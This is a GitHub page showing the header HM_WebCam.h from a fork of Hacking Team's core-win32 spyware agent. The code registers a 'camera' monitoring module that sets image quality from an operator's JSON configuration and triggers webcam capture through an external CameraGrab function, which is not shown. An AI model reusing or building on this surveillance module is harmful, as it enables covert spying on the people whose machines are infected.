forked from hackedteam/core-win32
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathHM_WebCam.h
34 lines (26 loc) · 804 Bytes
/
HM_WebCam.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
extern void CameraGrab(DWORD quality);
#define CAM_IMG_QUALITY_LOW 10
#define CAM_IMG_QUALITY_MED 50
#define CAM_IMG_QUALITY_HI 100
DWORD cam_image_quality = CAM_IMG_QUALITY_MED;
DWORD __stdcall PM_WebCamStartStop(BOOL bStartFlag, BOOL bReset)
{
if (bStartFlag && bReset)
CameraGrab(cam_image_quality);
return 1;
}
DWORD __stdcall PM_WebCamInit(JSONObject elem)
{
if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"hi") ) {
cam_image_quality = CAM_IMG_QUALITY_HI;
} else if (!wcscmp(elem[L"quality"]->AsString().c_str(), L"med") ) {
cam_image_quality = CAM_IMG_QUALITY_MED;
} else {
cam_image_quality = CAM_IMG_QUALITY_LOW;
}
return 1;
}
void PM_WebCamRegister()
{
AM_MonitorRegister(L"camera", PM_WEBCAMAGENT, NULL, (BYTE *)PM_WebCamStartStop, (BYTE *)PM_WebCamInit, NULL);
}